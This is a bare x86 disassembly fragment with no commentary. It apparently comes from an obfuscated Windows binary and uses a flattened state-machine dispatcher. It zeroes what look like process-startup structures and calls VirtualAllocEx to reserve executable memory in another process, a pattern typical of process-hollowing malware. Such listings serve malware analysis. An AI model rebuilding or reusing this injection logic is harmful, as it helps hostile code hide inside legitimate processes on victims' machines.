mov dword [esp + 4], 0x4ea00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x104], 0x2d18e10c
jmp 0x10004a00
mov dword [ebp - 0x104], 0xa8dff3d6
jmp 0x10004a00
mov eax, dword [ebp - 0xf4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005ca0
add esp, 0xc
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005ca0
add esp, 0xc
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x104], 0x1576e12c
jmp 0x10004a00
mov dword [ebp - 0x104], 0x75004382
jmp 0x10004a00
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x70adbc97
jmp 0x10004a00
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x104], 0xaf8e9d5d
jmp 0x10004a00
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x104], 0xe24d2779
jmp 0x10004a00
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x5feb021
jmp 0x10004a00
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x104], 0xd3242c77
jmp 0x10004a00
mov dword [ebp - 0x104], 0x7a14c857
jmp 0x10002110